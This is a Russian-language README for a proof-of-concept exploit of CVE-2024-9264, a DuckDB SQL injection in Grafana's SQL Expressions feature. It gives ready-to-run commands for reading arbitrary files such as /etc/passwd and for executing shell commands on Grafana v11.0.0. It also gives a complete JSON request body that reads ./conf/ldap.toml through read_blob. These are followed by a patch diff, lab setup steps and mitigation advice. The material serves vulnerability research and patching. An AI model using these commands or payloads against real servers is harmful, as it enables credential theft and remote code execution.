
Эксплойт для произвольного чтения файлов и RCE в Grafana (CVE-2024-9264)
Этот PoC демонстрирует эксплуатацию CVE-2024-9264 с использованием аутентифицированного пользователя для выполнения DuckDB SQL-запроса и чтения произвольного файла в файловой системе или удалённого выполнения произвольного кода.
Произвольный код может быть выполнен только в Grafana v11.0.0.
Чтение файлов доступно во всех уязвимых версиях.
Установка: Установите необходимые зависимости с помощью:
pip install -r requirements.txt
Чтение файла (универсально):
python3 CVE-2024-9264.py -u user -p pass -f /etc/passwd http://localhost:3000
Выполнение команд (только v11.0.0)
python3 CVE-2024-9264.py -u user -p user -c <shell-cmd> http://localhost:3000
Вы также можете выполнять произвольные DuckDB-запросы, например, вызывать getenv для получения переменных окружения:
python3 CVE-2024-9264.py -u user -p pass -q "SELECT getenv('PATH')" http://localhost:3000
Список утилитных функций DuckDB, которые можно использовать, доступен здесь.
CVE-2024-9264 — это SQL-инъекция DuckDB в экспериментальной функции Grafana SQL Expressions. Любой аутентифицированный пользователь может выполнять произвольные DuckDB SQL-запросы через изменённые выражения в дашбордах Grafana.
Затронутые версии:
Исправленные версии:
Grafana выпустила специальные версии для исправления этой уязвимости. Для анализа исправления можно использовать следующие команды для сравнения изменений:
git checkout v11.0.5+security-01
git diff 0421a8911cfc05a46c516fd9d033a51e52e51afe 70316b3e1418c9054017047e63c1c96abb26f495
Это показывает, что функция SQL Expressions была просто удалена из уязвимых версий.
+++ b/pkg/expr/sql/db.go
@@ -0,0 +1,26 @@
+package sql
+
+import (
+ "errors"
+
+ "github.com/grafana/grafana-plugin-sdk-go/data"
+)
+
+type DB struct {
+}
+
+func (db *DB) TablesList(rawSQL string) ([]string, error) {
+ return nil, errors.New("not implemented")
+}
+
+func (db *DB) RunCommands(commands []string) (string, error) {
+ return "", errors.New("not implemented")
+}
+
+func (db *DB) QueryFramesInto(name string, query string, frames []*data.Frame, f *data.Frame) error {
+ return errors.New("not implemented")
+}
+
+func NewInMemoryDB() *DB {
+ return &DB{}
+}
@@ -85,7 +84,7 @@ func (gr *SQLCommand) Execute(ctx context.Context, now time.Time, vars mathexp.V
rsp := mathexp.Results{}
- duckDB := duck.NewInMemoryDB()
+ duckDB := sql.NewInMemoryDB()
var frame = &data.Frame{}
err := duckDB.QueryFramesInto(gr.refID, gr.query, allFrames, frame);
if err != nil {
Исправление полностью удаляет SQL Expressions, исключая возможность эксплуатации.
Запустите Grafana: Запустите Grafana версии 11.0.5:
docker run --name=grafana -p 3000:3000 grafana/grafana-enterprise:11.0.5
Измените выражение:
Создайте дашборд с выражением типа "Math", перехватите запрос с помощью Burp и измените тип datasource с math на sql.
Будет отправлен HTTP-запрос на /api/ds/query?ds_type=__expr__&expression=true&requestId=Q101.
Ниже приведён минимальный JSON, необходимый для выполнения DuckDB SQL-запроса с чтением произвольного файла, например ./conf/ldap.toml:
{
"queries": [
{
"refId": "B",
"datasource": {
"type": "__expr__",
"uid": "__expr__",
"name": "Expression"
},
"type": "sql",
"hide": false,
"expression": "SELECT content FROM read_blob(\"./conf/ldap.toml\")",
"window": ""
}
],
"from": "1729313027261",
"to": "1729334627261"
}
Для реальной эксплуатации дашборд не требуется, это лишь простой способ найти HTTP-запрос для выполнения запроса.
Важно отметить, что, хотя эта уязвимость является критической, возможность её эксплуатации зависит от того, установлен ли бинарный файл DuckDB на сервере Grafana. По умолчанию Grafana не поставляется с установленным DuckDB, и в интерфейсе Grafana нет возможности установить его напрямую.
Чтобы эту уязвимость можно было эксплуатировать, администратор должен вручную установить DuckDB и добавить его в $PATH сервера Grafana. Если DuckDB отсутствует, SQL-инъекцию использовать невозможно, что значительно снижает вероятность успешной эксплуатации в стандартных установках.
Обновите Grafana до исправленных версий и убедитесь, что бинарный файл DuckDB отсутствует в $PATH, если обновление откладывается.